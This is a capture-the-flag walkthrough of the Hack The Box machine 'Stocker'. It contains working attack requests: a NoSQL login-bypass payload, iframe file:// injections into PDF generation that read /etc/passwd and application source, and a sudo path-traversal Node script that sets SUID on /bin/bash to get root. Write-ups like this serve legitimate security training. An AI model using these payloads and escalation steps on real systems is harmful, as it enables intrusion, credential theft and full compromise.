Stocker

Enumeration

Rustscan

mkdir rust; sudo rustscan -t 1500 -b 1500 --ulimit 65000 -a 10.129.131.220 -- -sV -sC -oA ./rust/{{ip}}

Ports

Open 10.129.131.220:22
Open 10.129.131.220:80

Services

PORT   STATE SERVICE REASON         VERSION
22/tcp open  ssh     syn-ack ttl 63 OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    syn-ack ttl 63 nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://stocker.htb
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Subdomains

ffuf -w /usr/share/seclists/Discovery/DNS/shubs-subdomains.txt -u http://stocker.htb -H "Host: FUZZ.stocker.htb" -o subs.json -fs 178 -mc all
dev                     [Status: 302, Size: 28, Words: 4, Lines: 1, Duration: 38ms]

Dirsearch

stocker.htb

dirsearch -u http://stocker.htb/
[22:57:41] 301 -  178B  - /js  ->  http://stocker.htb/js/                  
[22:58:00] 301 -  178B  - /css  ->  http://stocker.htb/css/                 
[22:58:03] 200 -    1KB - /favicon.ico                                      
[22:58:03] 301 -  178B  - /fonts  ->  http://stocker.htb/fonts/             
[22:58:05] 301 -  178B  - /img  ->  http://stocker.htb/img/                 
[22:58:05] 200 -   15KB - /index.html                                       
[22:58:06] 403 -  564B  - /js/ 

dev.stocker.htb

dirsearch -u http://dev.stocker.htb/
[23:05:33] 200 -    3KB - /login                                            
[23:05:33] 200 -    3KB - /login/                                           
[23:05:33] 302 -   28B  - /logout  ->  /login                               
[23:05:33] 302 -   28B  - /logout/  ->  /login                              
[23:05:47] 301 -  179B  - /static  ->  /static/

Website

Visiting http://stocker.htb we can see that it is just a plain simple html page without anything that indicates an attack vector

When checking http://dev.stocker.htb](http://devstocker.htb) we are getting redirected to a login page

Exploitation

NoSQL Auth Bypass

After trying different things for a while I discovered that the login is vulnerable to NoSQL Authentication Bypass.

Burp: POST-Request

POST /login HTTP/1.1
Host: dev.stocker.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 24
Origin: http://dev.stocker.htb
Connection: close
Referer: http://dev.stocker.htb/login
Cookie: connect.sid=s%3AglWx1W4l6AXfs4gYZq-X2EzGPvkRAknn.aTADasosaVSVpIrCRQR6U5P%2BRe8JeRJwk6aNyTMXe1Q
Upgrade-Insecure-Requests: 1
token: ddac62a28254561001277727cb397baf

{"username": {"$ne": null}, "password": {"$ne": null} }

Server Side XSS (PDF)

While checking the page-source of http://dev.stocker.htb/stock we see a function that looks interesting.

    submitPurchase.addEventListener("click", () => {
      fetch("/api/order", {
        method: "POST",
        body: JSON.stringify({ basket }),
        headers: {
          "Content-Type": "application/json",
        },
      })

Using JSON.stringify can cause XSS vulnerabilites. Maybe we should check that out. We'll abuse one of those snippets from Hacktricks - Server Side XSS (Dynamic PDF)

Read /etc/passwd

Burp: Request

POST /api/order HTTP/1.1
Host: dev.stocker.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://dev.stocker.htb/stock
Content-Type: application/json
Origin: http://dev.stocker.htb
Content-Length: 220
Connection: close
Cookie: connect.sid=s%3AglWx1W4l6AXfs4gYZq-X2EzGPvkRAknn.aTADasosaVSVpIrCRQR6U5P%2BRe8JeRJwk6aNyTMXe1Q
token: ddac62a28254561001277727cb397baf

{"basket":[{"_id":"638f116eeb060210cbd83a8d","title":"<iframe src=file:///etc/passwd height=800 width=800></iframe>","description":"It's a red cup.","image":"red-cup.jpg","price":32,"currentStock":4,"__v":0,"amount":1}]}

Burp: Result

HTTP/1.1 200 OK
Server: nginx/1.18.0 (Ubuntu)
Date: Mon, 16 Jan 2023 18:47:07 GMT
Content-Type: application/json; charset=utf-8
Content-Length: 53
Connection: close
X-Powered-By: Express
ETag: W/"35-uRAgVxWOPH+zozYbT1COcNIa11A"

{"success":true,"orderId":"63c59bab9a4ca468a539a9f4"}

We can use the orderID to open http://dev.stocker.htb/api/po/63c59bab9a4ca468a539a9f4 which will render the PDF and includes our /etc/passwd content.

Finding

mongodb:x:113:65534::/home/mongodb:/usr/sbin/nologin
angoose:x:1001:1001:,,,:/home/angoose:/bin/bash

Read /var/www/dev/index.js

Burp: Request

POST /api/order HTTP/1.1
Host: dev.stocker.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://dev.stocker.htb/stock
Content-Type: application/json
Origin: http://dev.stocker.htb
Content-Length: 230
Connection: close
Cookie: connect.sid=s%3AglWx1W4l6AXfs4gYZq-X2EzGPvkRAknn.aTADasosaVSVpIrCRQR6U5P%2BRe8JeRJwk6aNyTMXe1Q
token: ddac62a28254561001277727cb397baf

{"basket":[{"_id":"638f116eeb060210cbd83a8d","title":"<iframe src=file:///var/www/dev/index.js height=800 width=800></iframe>","description":"It's a red cup.","image":"red-cup.jpg","price":32,"currentStock":4,"__v":0,"amount":1}]}

Burp: Response

HTTP/1.1 200 OK
Server: nginx/1.18.0 (Ubuntu)
Date: Mon, 16 Jan 2023 19:03:21 GMT
Content-Type: application/json; charset=utf-8
Content-Length: 53
Connection: close
X-Powered-By: Express
ETag: W/"35-NMz42TN4UGeyAe4eb9g9f6gSMfk"

{"success":true,"orderId":"63c59f799a4ca468a539aa26"}

We can use the orderID to open http://dev.stocker.htb/api/po/63c59f799a4ca468a539aa26 which will render the PDF and includes the source code of /var/www/dev/index.js.

Finding

// TODO: Configure loading from dotenv for production
const dbURI = "mongodb://dev:CENSORED@localhost/dev?authSource=admin&w=1";

SSH Access

Using the user we identified by reading /etc/passwd and the password found in /var/www/dev/index.js we are able to ssh into the machine.

Escalation

Enumeration

Seems like we are allowed to run any script ending with .js located in /usr/local/scripts/ as root.

sudo -l
Matching Defaults entries for angoose on stocker:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User angoose may run the following commands on stocker:
    (ALL) /usr/bin/node /usr/local/scripts/*.js

Become Root

We'll abuse the sudo permissions as there's no check for directory traverseral to change the permissions of /bin/bash.

perm.js

require('child_process').exec('bash -c "chmod u+s /bin/bash"')

Change Perms

sudo /usr/bin/node /usr/local/scripts/../../../tmp/perm.js
angoose@stocker:/tmp$ ls -al /bin/bash
-rwsr-xr-x 1 root root 1183448 Apr 18  2022 /bin/bash

Escalate

angoose@stocker:/tmp$ /usr/bin/bash -p
bash-5.0# whoami
root

Last updated